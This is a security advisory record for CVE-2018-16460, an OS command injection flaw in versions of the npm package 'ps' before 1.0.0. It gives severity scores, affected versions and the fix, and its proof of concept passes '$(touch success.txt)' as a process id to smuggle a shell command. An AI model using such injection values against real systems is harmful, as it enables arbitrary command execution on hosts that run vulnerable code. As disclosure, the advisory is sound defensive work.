GHSA-cfhg-9x44-78h2

Source

https://github.com/advisories/GHSA-cfhg-9x44-78h2

Import Source

https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2018/09/GHSA-cfhg-9x44-78h2/GHSA-cfhg-9x44-78h2.json

JSON Data

https://api.osv.dev/v1/vulns/GHSA-cfhg-9x44-78h2

Aliases

CVE-2018-16460

Published

2018-09-17T20:43:59Z

Modified

2023-11-08T03:59:59.454657Z

Severity

9.8 (Critical) CVSS_V3 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H CVSS Calculator

Summary

ps Enables OS Command Injection

Details

Versions of ps before 1.0.0 are vulnerable to command injection.

Proof of concept:

var ps = require('ps');

ps.lookup({ pid: "$(touch success.txt)" }, function(err, proc) { // this method is vulnerable to command injection
    if (err) {throw err;}
    if (proc) {
        console.log(proc);  // Process name, something like "node" or "bash"
    } else {
        console.log('No such process');
    }
});

// Result: The file success.txt will exist on the filesystem if the touch command was executed

Recommendation

Update to version 1.0.0 or later.

Database specific

{
    "github_reviewed_at": "2020-06-16T21:31:20Z",
    "github_reviewed": true,
    "severity": "CRITICAL",
    "nvd_published_at": null,
    "cwe_ids": [
        "CWE-77",
        "CWE-78"
    ]
}

References

Affected packages

npm / ps

Package

Name: ps; View open source insights on deps.dev
Purl: pkg:npm/ps

Affected ranges

Type: SEMVER
Events: Introduced

0Unknown introduced version / All previous versions are affected

Fixed

1.0.0